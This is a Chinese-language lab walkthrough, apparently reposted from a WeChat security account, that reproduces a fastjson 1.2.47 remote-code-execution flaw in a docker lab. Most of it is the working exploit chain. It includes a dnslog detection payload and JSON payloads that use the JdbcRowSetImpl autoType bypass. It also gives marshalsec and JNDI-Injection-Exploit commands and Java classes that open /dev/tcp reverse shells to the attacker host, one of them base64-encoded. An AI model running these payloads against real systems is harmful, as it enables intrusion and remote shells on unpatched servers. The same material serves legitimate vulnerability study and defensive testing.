前言
使用docker
启动靶机
#首先切换到对应的目录下
docker-compose up -d
docker-compose ps
靶机:kali
开启使用docker
,IP地址为192.168.10.6
攻击机:windows
抓包等操作,IP地址为192.168.10.9
java
环境已经更换为java8
,完全可以模拟真实环境
漏洞发现
首先就是确定是否含有漏洞,这个版本与前面24
版本测试条件差不多
还是先把原本的get
请求,改成post
请求,然后查看返回
测试目标能否出外,借助dnslog
{"test":
{
"@type":"java.net.Inet4Address",
"val":"3jpebi.dnslog.cn"
}
}
//1.2.67版本后payload
{
"@type":"java.net.Inet4Address",
"val":"3jpebi.dnslog.cn"
}
测试发现确实可以成功
漏洞复现
那么现在就尝试借助工具marshalsec-0.0.3-SNAPSHOT-all.jar
或JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
,这两个都可以在github
上下载的
使用第一个工具
首先使用第一个工具进行测试
编写一个java
文件,内容如下,包含执行的命令
// javac test.java
import java.lang.Runtime;
import java.lang.Process;
publicclasstest {
static {
try {
Runtimert= Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Processpc= rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后通过命令编译java
文件为class
文件
javac test.java
然后再在windows
启动一个rmi
服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.9:1234/#test"9999
然后修改抓取的数据包,尝试以24
版本的rce
漏洞进行测试,发现失败
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:9999/test",
"autoCommit":true
}
}
可以看到一些参数已经不被支持,所以需要新的,那么有这样的poc
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:9999/test",
"autoCommit":true
}
}
从图中可以看到完完全全的ok
了,那么就可以编译一个可以获取shell
的语句
// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
publicclassshell {
static {
try {
Runtimert= Runtime.getRuntime();
String[] commands = {"bash","-c", "exec 5<>/dev/tcp/192.168.10.9/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Processpc= rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后与上面一样,编译为class
文件,然后开启监听,再借助工具开启rmi
服务
然后在burp
上抓取数据包修改
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:8888/shell",
"autoCommit":true
}
}
使用第二个工具
这里直接通过下面命令即可开启自动的服务了,当然是在windows
中
java -jar .JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C"bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"-A192.168.10.9
然后再通过burp
抓取数据包,指向提供的rmi
服务器。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:1099/r2cbto",
"autoCommit":true
}
}
再开启一个监听端口,然后发送burp
的数据包,即可发现成功获取shell
总结
该版本对于json
的发现以及漏洞的发现,与1.2.24
是一样的
对于漏洞的利用方式发生变化,所用的还是一样,只是必须多出一组数据才行
{
//就是这一段a,必要的
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:1099/r2cbto",
"autoCommit":true
}
}
原文始发于微信公众号(泷羽sec-何生安全):fastjson【1247--rce】漏洞初探索及复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论